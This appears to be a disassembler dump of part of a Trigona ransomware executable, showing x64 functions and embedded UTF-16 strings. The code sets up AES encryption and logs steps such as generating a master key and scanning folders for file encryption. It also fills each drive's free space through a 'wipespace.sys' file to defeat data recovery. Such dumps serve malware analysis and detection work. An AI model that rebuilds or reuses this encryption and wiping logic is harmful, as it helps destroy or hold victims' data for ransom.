File trigona_be6dfedd91e1ebc81d58a61b05b0ef93322425b247636a0f7f5c3eeebbc52edd.exe
Function:
    0044ec90
    0044ec90fn_44ec90:
    0044ec90push rbp
    0044ec91add rsp, -128
    0044ec95mov rbp, rsp
    0044ec98mov [rbp+120], 0
    0044eca0mov [rbp+112], 0
    0044eca8mov [rbp+104], 0
    0044ecb0mov [rbp+96], 0
    0044ecb8mov [rbp+88], 0
    0044ecc0mov [rbp+144], rcx
    0044ecc7lea rcx, [rbp+144]
    0044eccecall fn_40bf00
    0044ecd3nop
    0044ecd4mov rcx, [rip-0x1a19b]
    0044ecdbmov dl, 1
    0044ecddcall TAESData.Create
    0044ece2mov [rbp+80], rax
    0044ece6lea rcx, [rbp+96]
    0044eceamov rdx, [rip-0x1fed1]
    0044ecf1call fn_410600
    0044ecf6lea rcx, [rbp+96]
    0044ecfamov rdx, [rip-0x1fee1]
    0044ed01mov r8l, 1
    0044ed07mov r9l, 0x100000
    0044ed0dcall fn_410430
    0044ed12lea rcx, [rbp+88]
    0044ed16mov rdx, [rip-0x1fefd]
    0044ed1dcall fn_410600
    0044ed22lea rcx, [rbp+88]
    0044ed26mov rdx, [rip-0x1ff0d]
    0044ed2dmov r8l, 1
    0044ed33mov r9l, 0x100000
    0044ed39call fn_410430
    0044ed3emov rax, [rip+0x1527b]
    0044ed45cmp [rax+307], 0
    0044ed4cjne 0x44edd3
    0044ed52mov rax, [rip+0x15267]
    0044ed59cmp [rax+308], 0
    0044ed60je 0x44ed70
    0044ed62lea rcx, [rip+411]
    0044ed69mov dl, 1
    0044ed6bcall fn_439060
    0044ed70
    0044ed70loc_44ed70:
    0044ed70lea rcx, [rbp+120]
    0044ed74call fn_442e50
    0044ed79mov rax, [rip+0x15240]
    0044ed80cmp [rax+308], 0
    0044ed87je 0x44ed97
    0044ed89lea rcx, [rip+428]
    0044ed90mov dl, 1
    0044ed92call fn_439060
    0044ed97
    0044ed97loc_44ed97:
    0044ed97lea rcx, [rbp+120]
    0044ed9blea rdx, [rbp+112]
    0044ed9fcall fn_442cb0
    0044eda4mov rax, [rip+0x15215]
    0044edabcmp [rax+308], 0
    0044edb2je 0x44edc2
    0044edb4lea rcx, [rip+445]
    0044edbbmov dl, 1
    0044edbdcall fn_439060
    0044edc2
    0044edc2loc_44edc2:
    0044edc2lea rcx, [rbp+120]
    0044edc6lea rdx, [rbp+112]
    0044edcalea r8, [rbp+104]
    0044edcecall fn_442930
    0044edd3
    0044edd3loc_44edd3:
    0044edd3mov rax, [rip+0x151e6]
    0044eddacmp [rax+308], 0
    0044ede1je 0x44edf8
    0044ede3lea rcx, [rip+434]
    0044edeamov dl, 1
    0044edeccall fn_439060
    0044edf1xor ecx, ecx
    0044edf3call fn_4392a0
    0044edf8
    0044edf8loc_44edf8:
    0044edf8mov rcx, [rbp+144]
    0044edfflea rdx, [rbp+120]
    0044ee03lea r8, [rbp+104]
    0044ee07lea r9, [rbp+96]
    0044ee0blea rax, [rbp+88]
    0044ee0fmov [rsp+32], rax
    0044ee14lea rax, [rbp+80]
    0044ee18mov [rsp+40], rax
    0044ee1dmov [rsp+48], 0
    0044ee22mov [rsp+56], 0
    0044ee27mov [rsp+64], 1
    0044ee2ccall fn_449120
    0044ee31mov rcx, [rbp+80]
    0044ee35call TObject.Free
    0044ee3alea rcx, [rbp+96]
    0044ee3emov rdx, [rip-0x20025]
    0044ee45call fn_410600
    0044ee4alea rcx, [rbp+88]
    0044ee4emov rdx, [rip-0x20035]
    0044ee55call fn_410600
    0044ee5amov rcx, [rbp+120]
    0044ee5emov rax, rcx
    0044ee61test rax, rax
    0044ee64je 0x44ee6a
    0044ee66mov rax, [rax-8]
    0044ee6a
    0044ee6aloc_44ee6a:
    0044ee6atest rax, rax
    0044ee6dje 0x44ee8a
    0044ee6fmov rax, rcx
    0044ee72test rax, rax
    0044ee75je 0x44ee7b
    0044ee77mov rax, [rax-8]
    0044ee7b
    0044ee7bloc_44ee7b:
    0044ee7bmov rcx, [rbp+120]
    0044ee7fmov rdx, rax
    0044ee82xor r8, r8
    0044ee85call fn_4069b0
    0044ee8a
    0044ee8aloc_44ee8a:
    0044ee8anop
    0044ee8blea rcx, [rbp+88]
    0044ee8fmov rdx, [rip-0x20076]
    0044ee96mov r8l, 5
    0044ee9ccall fn_40ec40
    0044eea1lea rcx, [rbp+144]
    0044eea8call fn_40bd90
    0044eeadlea rsp, [rbp+128]
    0044eeb4pop rbp
    0044eeb5ret
    0044ec90
    0044eeb6
    0044eeb6 48 90 48 8d 04 05 00 00 00 00 H.H.......
    0044eec0
    0044eec0fn_44eec0:
    0044eec0push rbp
    0044eec1push rbx
    0044eec2sub rsp, 40
    0044eec6mov rbp, rsp
    0044eec9mov rbx, rdx
    0044eecclea rcx, [rbx+88]
    0044eed0mov rdx, [rip-0x200b7]
    0044eed7mov r8l, 5
    0044eeddcall fn_40ec40
    0044eee2lea rcx, [rbx+144]
    0044eee9call fn_40bd90
    0044eeeelea rsp, [rbp+40]
    0044eef2pop rbx
    0044eef3pop rbp
    0044eef4ret
    0044eec0
    0044eef5
    0044eef5 00 00 00 b0 04 02 00 ff ff ff ff ...........
    0044ef00 14 00 00 00 47 00 65 00 6e 00 65 00 72 00 61 00 ....G.e.n.e.r.a.
    0044ef10 74 00 65 00 20 00 6d 00 61 00 73 00 74 00 65 00 t.e. .m.a.s.t.e.
    0044ef20 72 00 20 00 6b 00 65 00 79 00 2e 00 00 00 00 00 r. .k.e.y.......
    0044ef30 b0 04 02 00 ff ff ff ff 16 00 00 00 45 00 6e 00 ............E.n.
    0044ef40 63 00 72 00 79 00 70 00 74 00 20 00 69 00 6e 00 c.r.y.p.t. .i.n.
    0044ef50 74 00 65 00 72 00 6e 00 61 00 6c 00 20 00 64 00 t.e.r.n.a.l. .d.
    0044ef60 61 00 74 00 61 00 2e 00 00 00 00 00 b0 04 02 00 a.t.a...........
    0044ef70 ff ff ff ff 0a 00 00 00 49 00 6e 00 69 00 74 00 ........I.n.i.t.
    0044ef80 20 00 74 00 61 00 69 00 6c 00 2e 00 00 00 00 00 .t.a.i.l.......
    0044ef90 b0 04 02 00 ff ff ff ff 2b 00 00 00 52 00 65 00 ........+...R.e.
    0044efa0 61 00 64 00 79 00 20 00 74 00 6f 00 20 00 73 00 a.d.y. .t.o. .s.
    0044efb0 63 00 61 00 6e 00 20 00 66 00 6f 00 6c 00 64 00 c.a.n. .f.o.l.d.
    0044efc0 65 00 72 00 73 00 20 00 61 00 6e 00 64 00 20 00 e.r.s. .a.n.d. .
    0044efd0 66 00 69 00 6c 00 65 00 73 00 20 00 65 00 6e 00 f.i.l.e.s. .e.n.
    0044efe0 63 00 72 00 79 00 70 00 74 00 69 00 6f 00 6e 00 c.r.y.p.t.i.o.n.
    0044eff0 2e 00 00 00 cc cc cc cc cc cc cc cc cc cc cc cc ................
    0044f000
    0044f000fn_44f000:
    0044f000push rbp
    0044f001sub rsp, 96
    0044f005mov rbp, rsp
    0044f008mov [rbp+88], 0
    0044f010mov [rbp+80], 0
    0044f018mov [rbp+72], 0
    0044f020nop
    0044f021mov rcx, [rip-0x1a4e8]
    0044f028mov dl, 1
    0044f02acall TAESData.Create
    0044f02fmov [rbp+64], rax
    0044f033lea rcx, [rbp+80]
    0044f037call fn_442e50
    0044f03clea rcx, [rbp+80]
    0044f040lea rdx, [rbp+72]
    0044f044call fn_442cb0
    0044f049lea rcx, [rbp+80]
    0044f04dlea rdx, [rbp+72]
    0044f051lea r8, [rbp+88]
    0044f055call fn_441e90
    0044f05amov rax, [rip+0x14e47]
    0044f061mov rcx, [rax]
    0044f064lea rdx, [rbp+80]
    0044f068lea r8, [rbp+88]
    0044f06clea r9, [rbp+64]
    0044f070mov [rsp+32], 0
    0044f075mov [rsp+40], 2
    0044f07amov [rsp+48], 1
    0044f07fcall fn_44afd0
    0044f084mov rcx, [rbp+64]
    0044f088call TObject.Free
    0044f08dmov rcx, [rbp+80]
    0044f091mov edx, 32
    0044f096xor r8, r8
    0044f099call fn_4069b0
    0044f09emov rax, [rip+0x1514b]
    0044f0a5mov rcx, [rax]
    0044f0a8call TSimpleCriticalSection.Enter
    0044f0admov rax, [rip+0x1513c]
    0044f0b4lea rcx, [rax+8]
    0044f0b8call fn_40bd90
    0044f0bdmov rax, [rip+0x1512c]
    0044f0c4mov rcx, [rax]
    0044f0c7call TSimpleCriticalSection.Leave
    0044f0ccmov rax, [rip+0x14eed]
    0044f0d3mov [rax+317], 1
    0044f0danop
    0044f0dblea rcx, [rbp+72]
    0044f0dfmov rdx, [rip-0x202c6]
    0044f0e6mov r8l, 3
    0044f0eccall fn_40ec40
    0044f0f1lea rsp, [rbp+96]
    0044f0f5pop rbp
    0044f0f6ret
    0044f000
    0044f0f7
    0044f0f7 90 48 8d 04 05 00 00 00 00 .H.......
    0044f100
    0044f100fn_44f100:
    0044f100push rbp
    0044f101sub rsp, 32
    0044f105mov rbp, rsp
    0044f108lea rcx, [rdx+72]
    0044f10cmov rdx, [rip-0x202f3]
    0044f113mov r8l, 3
    0044f119call fn_40ec40
    0044f11elea rsp, [rbp+32]
    0044f122pop rbp
    0044f123ret
    0044f100
    0044f124
    0044f124 // align 0x10
    0044f130
    0044f130Unit56.finalization:
    0044f130add [rip+0x21665], 1
    0044f137cmp [rip+0x2165e], 0
    0044f13eret
    0044f130
    0044f13f
    0044f13f // align 0x10
    0044f140
    0044f140Unit56.initialization:
    0044f140sub [rip+0x21655], 1
    0044f147cmp [rip+0x2164e], -1
    0044f14eret
    0044f140
    0044f14f
    0044f14f // align 0x10
    0044f150
    0044f150fn_44f150:
    0044f150push rbp
    0044f151push rbx
    0044f152sub rsp, 72
    0044f156mov rbp, rsp
    0044f159mov [rbp+48], rcx
    0044f15dmov [rbp+56], 0
    0044f165mov [rbp+104], rdx
    0044f169lea rcx, [rbp+104]
    0044f16dcall fn_40bf00
    0044f172nop
    0044f173mov rcx, [rbp+48]
    0044f177call fn_40bd90
    0044f17cxor eax, eax
    0044f17emov rcx, [rbp+104]
    0044f182test rcx, rcx
    0044f185je 0x44f18d
    0044f187mov eax, [rcx-4]
    0044f18ashr eax, 1
    0044f18d
    0044f18dloc_44f18d:
    0044f18dtest eax, eax
    0044f18fje 0x44f2b8
    0044f195mov rax, [rbp+104]
    0044f199movzx rax, [rax]
    0044f19dcmp ax, 92
    0044f1a1jne 0x44f28f
    0044f1a7xor eax, eax
    0044f1a9test rcx, rcx
    0044f1acje 0x44f1b4
    0044f1aemov eax, [rcx-4]
    0044f1b1shr eax, 1
    0044f1b4
    0044f1b4loc_44f1b4:
    0044f1b4lea rcx, [rbp+104]
    0044f1b8mov rdx, [rbp+104]
    0044f1bcmov r8l, 3
    0044f1c2mov r9l, eax
    0044f1c5call fn_40d650
    0044f1camov rbx, [rbp+104]
    0044f1celea rcx, [rip+311]
    0044f1d5mov rdx, rbx
    0044f1d8mov r8l, 1
    0044f1decall fn_40de90
    0044f1e3mov rcx, [rbp+48]
    0044f1e7mov rdx, [rbp+104]
    0044f1ebmov r8l, 1
    0044f1f1mov r9l, eax
    0044f1f4call fn_40d650
    0044f1f9lea rcx, [rip+268]
    0044f200mov rdx, rbx
    0044f203mov r8l, 1
    0044f209call fn_40de90
    0044f20emov ecx, eax
    0044f210add ecx, 1
    0044f213xor eax, eax
    0044f215test rbx, rbx
    0044f218je 0x44f220
    0044f21amov eax, [rbx-4]
    0044f21dshr eax, 1
    0044f220
    0044f220loc_44f220:
    0044f220lea rdx, [rbp+104]
    0044f224mov r8, [rbp+104]
    0044f228mov r9l, ecx
    0044f22bmov rcx, rdx
    0044f22emov rdx, r8
    0044f231mov r8l, r9l
    0044f234mov r9l, eax
    0044f237call fn_40d650
    0044f23clea rcx, [rip+201]
    0044f243mov rdx, [rbp+104]
    0044f247mov r8l, 1
    0044f24dcall fn_40de90
    0044f252lea rcx, [rbp+104]
    0044f256mov rdx, [rbp+104]
    0044f25amov r8l, 1
    0044f260mov r9l, eax
    0044f263call fn_40d650
    0044f268mov rcx, [rbp+48]
    0044f26cmov edx, 3
    0044f271lea r8, [rip+156]
    0044f278mov rax, [rbp+48]
    0044f27cmov r9, [rax]
    0044f27fmov rax, [rbp+104]
    0044f283mov [rsp+32], rax
    0044f288call fn_40d530
    0044f28djmp 0x44f2b7
    0044f28f
    0044f28floc_44f28f:
    0044f28flea rcx, [rbp+56]
    0044f293mov edx, eax
    0044f295call fn_40d730
    0044f29alea rcx, [rbp+56]
    0044f29elea rdx, [rip+131]
    0044f2a5call fn_40d9b0
    0044f2aamov rcx, [rbp+48]
    0044f2aemov rdx, [rbp+56]
    0044f2b2call fn_40d850
    0044f2b7
    0044f2b7loc_44f2b7:
    0044f2b7nop
    0044f2b8
    0044f2b8loc_44f2b8:
    0044f2b8lea rcx, [rbp+56]
    0044f2bccall fn_40bcf0
    0044f2c1lea rcx, [rbp+104]
    0044f2c5call fn_40bd90
    0044f2camov rax, [rbp+48]
    0044f2celea rsp, [rbp+72]
    0044f2d2pop rbx
    0044f2d3pop rbp
    0044f2d4ret
    0044f150
    0044f2d5
    0044f2d5 48 8b c0 48 8d 04 05 00 00 00 00 H..H.......
    0044f2e0
    0044f2e0fn_44f2e0:
    0044f2e0push rbp
    0044f2e1push rbx
    0044f2e2sub rsp, 40
    0044f2e6mov rbp, rsp
    0044f2e9mov rbx, rdx
    0044f2eclea rcx, [rbx+56]
    0044f2f0call fn_40bcf0
    0044f2f5lea rcx, [rbx+104]
    0044f2f9call fn_40bd90
    0044f2felea rsp, [rbp+40]
    0044f302pop rbx
    0044f303pop rbp
    0044f304ret
    0044f2e0
    0044f305
    0044f305 00 00 00 02 00 00 00 5c 00 00 00 .......\...
    0044f310 04 00 00 00 5c 00 5c 00 00 00 00 00 b0 04 02 00 ....\.\.........
    0044f320 ff ff ff ff 01 00 00 00 3a 00 00 00 cc cc cc cc ........:.......
    0044f330
    0044f330fn_44f330:
    0044f330push rbp
    0044f331push rbx
    0044f332sub rsp, 88
    0044f336mov rbp, rsp
    0044f339mov [rbp+40], 0
    0044f341mov [rbp+112], rcx
    0044f345lea rcx, [rbp+112]
    0044f349call fn_40bf00
    0044f34enop
    0044f34for rax, -1
    0044f353mov [rbp+32], rax
    0044f357mov bl, 10
    0044f359
    0044f359loc_44f359:
    0044f359lea rcx, [rbp+40]
    0044f35dmov rdx, [rbp+112]
    0044f361call fn_44f150
    0044f366mov rcx, [rbp+40]
    0044f36acall fn_40d180
    0044f36fmov rcx, rax
    0044f372lea rdx, [rbp+72]
    0044f376lea r8, [rbp+56]
    0044f37alea r9, [rbp+64]
    0044f37ecall GetDiskFreeSpaceExW
    0044f383test eax, eax
    0044f385je 0x44f391
    0044f387mov rax, [rbp+72]
    0044f38bmov [rbp+32], rax
    0044f38fjmp 0x44f3a4
    0044f391
    0044f391loc_44f391:
    0044f391mov ecx, 100
    0044f396call Sleep
    0044f39bsub bl, 1
    0044f39etest bl, bl
    0044f3a0jne 0x44f359
    0044f3a2nop
    0044f3a3nop
    0044f3a4
    0044f3a4loc_44f3a4:
    0044f3a4lea rcx, [rbp+40]
    0044f3a8call fn_40bd90
    0044f3adlea rcx, [rbp+112]
    0044f3b1call fn_40bd90
    0044f3b6mov rax, [rbp+32]
    0044f3balea rsp, [rbp+88]
    0044f3bepop rbx
    0044f3bfpop rbp
    0044f3c0ret
    0044f330
    0044f3c1
    0044f3c1 48 8d 80 00 00 00 00 48 8d 04 05 00 00 00 00 H......H.......
    0044f3d0
    0044f3d0fn_44f3d0:
    0044f3d0push rbp
    0044f3d1push rbx
    0044f3d2sub rsp, 40
    0044f3d6mov rbp, rsp
    0044f3d9mov rbx, rdx
    0044f3dclea rcx, [rbx+40]
    0044f3e0call fn_40bd90
    0044f3e5lea rcx, [rbx+112]
    0044f3e9call fn_40bd90
    0044f3eelea rsp, [rbp+40]
    0044f3f2pop rbx
    0044f3f3pop rbp
    0044f3f4ret
    0044f3d0
    0044f3f5
    0044f3f5 // align 0x10
    0044f400
    0044f400fn_44f400:
    0044f400push rbp
    0044f401sub rsp, 112
    0044f405mov rbp, rsp
    0044f408mov [rbp+64], rcx
    0044f40cmov [rbp+88], 0
    0044f414mov [rbp+80], 0
    0044f41cmov [rbp+104], 0
    0044f424mov [rbp+96], 0
    0044f42cmov [rbp+136], rdx
    0044f433lea rcx, [rbp+136]
    0044f43acall fn_40bf00
    0044f43fnop
    0044f440mov al, 1
    0044f442mov [rbp+79], al
    0044f445lea rcx, [rbp+96]
    0044f449mov rdx, [rbp+136]
    0044f450lea r8, [rip+301]
    0044f457call fn_40d230
    0044f45clea rcx, [rbp+104]
    0044f460mov rdx, [rbp+96]
    0044f464call fn_42f780
    0044f469mov rcx, [rbp+104]
    0044f46dcall fn_40d180
    0044f472mov rcx, rax
    0044f475mov edx, 0xffffffffc0000000
    0044f47axor r8, r8
    0044f47dxor r9, r9
    0044f480mov [rsp+32], 3
    0044f488mov [rsp+40], 128
    0044f490mov [rsp+48], 0
    0044f499call CreateFileW
    0044f49emov rcx, [rbp+64]
    0044f4a2mov [rcx], rax
    0044f4a5mov rax, [rbp+64]
    0044f4a9cmp [rax], -1
    0044f4adjne 0x44f51f
    0044f4aflea rcx, [rbp+80]
    0044f4b3mov rdx, [rbp+136]
    0044f4balea r8, [rip+195]
    0044f4c1call fn_40d230
    0044f4c6lea rcx, [rbp+88]
    0044f4camov rdx, [rbp+80]
    0044f4cecall fn_42f780
    0044f4d3mov rcx, [rbp+88]
    0044f4d7call fn_40d180
    0044f4dcmov rcx, rax
    0044f4dfmov edx, 0xffffffffc0000000
    0044f4e4xor r8, r8
    0044f4e7xor r9, r9
    0044f4eamov [rsp+32], 1
    0044f4f2mov [rsp+40], 128
    0044f4famov [rsp+48], 0
    0044f503call CreateFileW
    0044f508mov rcx, [rbp+64]
    0044f50cmov [rcx], rax
    0044f50fmov rax, [rbp+64]
    0044f513cmp [rax], -1
    0044f517jne 0x44f51f
    0044f519xor eax, eax
    0044f51bmov [rbp+79], al
    0044f51enop
    0044f51f
    0044f51floc_44f51f:
    0044f51flea rcx, [rbp+80]
    0044f523mov edx, 4
    0044f528call fn_40be70
    0044f52dlea rcx, [rbp+136]
    0044f534call fn_40bd90
    0044f539movzx rax, [rbp+79]
    0044f53elea rsp, [rbp+112]
    0044f542pop rbp
    0044f543ret
    0044f400
    0044f544
    0044f544 48 8d 40 00 48 8d 04 05 00 00 00 00 H.@.H.......
    0044f550
    0044f550fn_44f550:
    0044f550push rbp
    0044f551push rbx
    0044f552sub rsp, 40
    0044f556mov rbp, rsp
    0044f559mov rbx, rdx
    0044f55clea rcx, [rbx+80]
    0044f560mov edx, 4
    0044f565call fn_40be70
    0044f56alea rcx, [rbx+136]
    0044f571call fn_40bd90
    0044f576lea rsp, [rbp+40]
    0044f57apop rbx
    0044f57bpop rbp
    0044f57cret
    0044f550
    0044f57d
    0044f57d 00 00 00 ...
    0044f580 1a 00 00 00 77 00 69 00 70 00 65 00 73 00 70 00 ....w.i.p.e.s.p.
    0044f590 61 00 63 00 65 00 2e 00 73 00 79 00 73 00 00 00 a.c.e...s.y.s...
    0044f5a0
    0044f5a0fn_44f5a0:
    0044f5a0push rbp
    0044f5a1push rdi
    0044f5a2push rsi
    0044f5a3push rbx
    0044f5a4sub rsp, 136
    0044f5abmov rbp, rsp
    0044f5aemovdqa [rbp+112], x6
    0044f5b3mov [rbp+56], 0
    0044f5bbmov [rbp+48], 0
    0044f5c3mov [rbp+64], 0
    0044f5cbmov [rbp+72], 0
    0044f5d3mov [rbp+96], 0
    0044f5dbmov [rbp+176], rcx
    0044f5e2lea rcx, [rbp+176]
    0044f5e9call fn_40bf00
    0044f5eenop
    0044f5efmov rax, [rip+0x149ca]
    0044f5f6cmp [rax+308], 0
    0044f5fdje 0x44f61a
    0044f5fflea rcx, [rbp+72]
    0044f603mov rdx, [rbp+176]
    0044f60acall fn_40d820
    0044f60fmov rcx, [rbp+72]
    0044f613xor edx, edx
    0044f615call fn_439060
    0044f61a
    0044f61aloc_44f61a:
    0044f61amov rcx, [rbp+176]
    0044f621call fn_44f330
    0044f626mov rbx, rax
    0044f629test rbx, rbx
    0044f62cjg 0x44f65e
    0044f62emov rax, [rip+0x1498b]
    0044f635cmp [rax+308], 0
    0044f63cje 0x44f804
    0044f642lea rcx, [rip+623]
    0044f649xor edx, edx
    0044f64bcall fn_439060
    0044f650xor ecx, ecx
    0044f652xor edx, edx
    0044f654call fn_439060
    0044f659jmp 0x44f804
    0044f65e
    0044f65eloc_44f65e:
    0044f65elea rcx, [rbp+104]
    0044f662mov rdx, [rbp+176]
    0044f669call fn_44f400
    0044f66etest al, al
    0044f670jne 0x44f6a2
    0044f672mov rax, [rip+0x14947]
    0044f679cmp [rax+308], 0
    0044f680je 0x44f804
    0044f686lea rcx, [rip+711]
    0044f68dxor edx, edx
    0044f68fcall fn_439060
    0044f694xor ecx, ecx
    0044f696xor edx, edx
    0044f698call fn_439060
    0044f69djmp 0x44f804
    0044f6a2
    0044f6a2loc_44f6a2:
    0044f6a2lea rcx, [rbp+96]
    0044f6a6mov rdx, [rip-0x2088d]
    0044f6adcall fn_410600
    0044f6b2lea rcx, [rbp+96]
    0044f6b6mov rdx, [rip-0x2089d]
    0044f6bdmov r8l, 1
    0044f6c3mov r9l, 0x100000
    0044f6c9call fn_410430
    0044f6cexor esi, esi
    0044f6d0mov dil, 1
    0044f6d3lea rcx, [rip+790]
    0044f6daxor edx, edx
    0044f6dccall fn_438e40
    0044f6e1jmp 0x44f79a
    0044f6e6
    0044f6e6loc_44f6e6:
    0044f6e6mov rcx, [rbp+104]
    0044f6eamov rdx, rsi
    0044f6edxor r8, r8
    0044f6f0xor r9, r9
    0044f6f3call SetFilePointerEx
    0044f6f8mov rcx, [rbp+104]
    0044f6fcmov rdx, [rbp+96]
    0044f700mov r8l, 0x100000
    0044f706lea r9, [rbp+92]
    0044f70amov [rsp+32], 0
    0044f713call WriteFile
    0044f718add rsi, 0x100000
    0044f71fmov rax, [rip+0x1489a]
    0044f726cmp [rax+308], 0
    0044f72dje 0x44f79a
    0044f72fcmp rsi, rbx
    0044f732jle 0x44f737
    0044f734mov rsi, rbx
    0044f737
    0044f737loc_44f737:
    0044f737cvtsi2sd x6, rsi
    0044f73ccvtsi2sd x0, rbx
    0044f741divsd x6, x0
    0044f745mulsd x6, [rip+259]
    0044f74djmp 0x44f78c
    0044f74f
    0044f74floc_44f74f:
    0044f74fmovzx rax, dil
    0044f753mov ecx, 10
    0044f758xor edx, edx
    0044f75adiv ecx
    0044f75ctest edx, edx
    0044f75ejne 0x44f77a
    0044f760lea rcx, [rbp+64]
    0044f764movzx rdx, dil
    0044f768call fn_4225b0
    0044f76dmov rcx, [rbp+64]
    0044f771xor edx, edx
    0044f773call fn_438e40
    0044f778jmp 0x44f788
    0044f77a
    0044f77aloc_44f77a:
    0044f77alea rcx, [rip+639]
    0044f781xor edx, edx
    0044f783call fn_438e40
    0044f788
    0044f788loc_44f788:
    0044f788add dil, 1
    0044f78c
    0044f78cloc_44f78c:
    0044f78cmovzx rax, dil
    0044f790cvtsi2sd x0, eax
    0044f794comisd x6, x0
    0044f798jae 0x44f74f
    0044f79a
    0044f79aloc_44f79a:
    0044f79acmp rsi, rbx
    0044f79djl 0x44f6e6
    0044f7a3mov rcx, [rbp+104]
    0044f7a7call CloseHandle
    0044f7aclea rcx, [rbp+48]
    0044f7b0mov rdx, [rbp+176]
    0044f7b7lea r8, [rip+586]
    0044f7becall fn_40d230
    0044f7c3lea rcx, [rbp+56]
    0044f7c7mov rdx, [rbp+48]
    0044f7cbcall fn_42f780
    0044f7d0mov rcx, [rbp+56]
    0044f7d4call fn_40d180
    0044f7d9mov rcx, rax
    0044f7dccall DeleteFileW
    0044f7e1mov rax, [rip+0x147d8]
    0044f7e8cmp [rax+308], 0
    0044f7efje 0x44f803
    0044f7f1xor ecx, ecx
    0044f7f3xor edx, edx
    0044f7f5call fn_439060
    0044f7faxor ecx, ecx
    0044f7fcxor edx, edx
    0044f7fecall fn_439060
    0044f803
    0044f803loc_44f803:
    0044f803nop
    0044f804
    0044f804loc_44f804:
    0044f804lea rcx, [rbp+48]
    0044f808mov edx, 2
    0044f80dcall fn_40be70
    0044f812lea rcx, [rbp+64]
    0044f816mov edx, 2
    0044f81bcall fn_40bdd0
    0044f820lea rcx, [rbp+96]
    0044f824mov rdx, [rip-0x20a0b]
    0044f82bcall fn_410600
    0044f830lea rcx, [rbp+176]
    0044f837call fn_40bd90
    0044f83cmovdqa x6, [rbp+112]
    0044f841lea rsp, [rbp+136]
    0044f848pop rbx
    0044f849pop rsi
    0044f84apop rdi
    0044f84bpop rbp
    0044f84cret
    0044f5a0
    0044f84d
    0044f84d 48 8b c0 H..
    0044f850 00 00 00 00 00 00 59 40 48 8d 04 05 00 00 00 00 ......Y@H.......
    0044f860
    0044f860fn_44f860:
    0044f860push rbp
    0044f861push rbx
    0044f862sub rsp, 40
    0044f866mov rbp, rsp
    0044f869mov rbx, rdx
    0044f86clea rcx, [rbx+48]
    0044f870mov edx, 2
    0044f875call fn_40be70
    0044f87alea rcx, [rbx+64]
    0044f87emov edx, 2
    0044f883call fn_40bdd0
    0044f888lea rcx, [rbx+96]
    0044f88cmov rdx, [rip-0x20a73]
    0044f893call fn_410600
    0044f898lea rcx, [rbx+176]
    0044f89fcall fn_40bd90
    0044f8a4lea rsp, [rbp+40]
    0044f8a8pop rbx
    0044f8a9pop rbp
    0044f8aaret
    0044f860
    0044f8ab
    0044f8ab 00 b0 04 02 00 .....
    0044f8b0 ff ff ff ff 46 00 00 00 57 00 41 00 52 00 4e 00 ....F...W.A.R.N.
    0044f8c0 49 00 4e 00 47 00 3a 00 20 00 43 00 61 00 6e 00 I.N.G.:. .C.a.n.
    0044f8d0 27 00 74 00 20 00 67 00 65 00 74 00 20 00 64 00 '.t. .g.e.t. .d.
    0044f8e0 69 00 73 00 6b 00 20 00 66 00 72 00 65 00 65 00 i.s.k. .f.r.e.e.
    0044f8f0 20 00 73 00 70 00 61 00 63 00 65 00 20 00 6f 00 .s.p.a.c.e. .o.
    0044f900 72 00 20 00 64 00 69 00 73 00 6b 00 20 00 66 00 r. .d.i.s.k. .f.
    0044f910 72 00 65 00 65 00 20 00 73 00 70 00 61 00 63 00 r.e.e. .s.p.a.c.
    0044f920 65 00 20 00 69 00 73 00 20 00 30 00 2e 00 20 00 e. .i.s. .0... .
    0044f930 53 00 6b 00 69 00 70 00 20 00 64 00 69 00 73 00 S.k.i.p. .d.i.s.
    0044f940 6b 00 2e 00 00 00 00 00 b0 04 02 00 ff ff ff ff k...............
    0044f950 46 00 00 00 57 00 41 00 52 00 4e 00 49 00 4e 00 F...W.A.R.N.I.N.
    0044f960 47 00 3a 00 20 00 43 00 61 00 6e 00 27 00 74 00 G.:. .C.a.n.'.t.
    0044f970 20 00 6f 00 70 00 65 00 6e 00 20 00 6f 00 72 00 .o.p.e.n. .o.r.
    0044f980 20 00 63 00 72 00 65 00 61 00 74 00 65 00 20 00 .c.r.e.a.t.e. .
    0044f990 77 00 69 00 70 00 65 00 73 00 70 00 61 00 63 00 w.i.p.e.s.p.a.c.
    0044f9a0 65 00 2e 00 73 00 79 00 73 00 20 00 69 00 6e 00 e...s.y.s. .i.n.
    0044f9b0 20 00 72 00 6f 00 6f 00 74 00 20 00 66 00 6f 00 .r.o.o.t. .f.o.
    0044f9c0 6c 00 64 00 65 00 72 00 2e 00 20 00 53 00 6b 00 l.d.e.r... .S.k.
    0044f9d0 69 00 70 00 20 00 64 00 69 00 73 00 6b 00 2e 00 i.p. .d.i.s.k...
    0044f9e0 00 00 00 00 b0 04 02 00 ff ff ff ff 01 00 00 00 ................
    0044f9f0 30 00 00 00 b0 04 02 00 ff ff ff ff 01 00 00 00 0...............
    0044fa00 2e 00 00 00 1a 00 00 00 77 00 69 00 70 00 65 00 ........w.i.p.e.
    0044fa10 73 00 70 00 61 00 63 00 65 00 2e 00 73 00 79 00 s.p.a.c.e...s.y.
    0044fa20 73 00 00 00 cc cc cc cc cc cc cc cc cc cc cc cc s...............
    0044fa30
    0044fa30fn_44fa30:
    0044fa30push rbp
    0044fa31push rsi
    0044fa32push rbx
    0044fa33sub rsp, 64
    0044fa37mov rbp, rsp
    0044fa3amov [rbp+40], 0
    0044fa42mov [rbp+56], 0
    0044fa4amov [rbp+48], 0
    0044fa52nop
    0044fa53mov rax, [rip+0x14566]
    0044fa5acmp [rax+308], 0
    0044fa61je 0x44fa71
    0044fa63lea rcx, [rip+350]
    0044fa6axor edx, edx
    0044fa6ccall fn_439060
    0044fa71
    0044fa71loc_44fa71:
    0044fa71mov rax, [rip+0x14548]
    0044fa78mov rax, [rax+760]
    0044fa7fmov eax, [rax+16]
    0044fa82test eax, eax
    0044fa84je 0x44fb11
    0044fa8axor ecx, ecx
    0044fa8cmov esi, eax
    0044fa8esub esi, 1
    0044fa91mov ebx, ecx
    0044fa93cmp ebx, esi
    0044fa95jg 0x44fb0e
    0044fa97sub esi, ecx
    0044fa99add esi, 1
    0044fa9c
    0044fa9cloc_44fa9c:
    0044fa9cmov rax, [rip+0x1451d]
    0044faa3mov rax, [rax+760]
    0044faaamov rax, [rax+8]
    0044faaemovsxd rcx, ebx
    0044fab1cmp [rax+8*rcx], 0
    0044fab6je 0x44fb04
    0044fab8lea rcx, [rbp+56]
    0044fabcmov rax, [rip+0x144fd]
    0044fac3mov rax, [rax+760]
    0044facamov rax, [rax+8]
    0044facemovsxd rdx, ebx
    0044fad1mov rax, [rax+8*rdx]
    0044fad5movzx rdx, [rax]
    0044fad9call fn_40d730
    0044fadelea rcx, [rbp+56]
    0044fae2lea rdx, [rip+287]
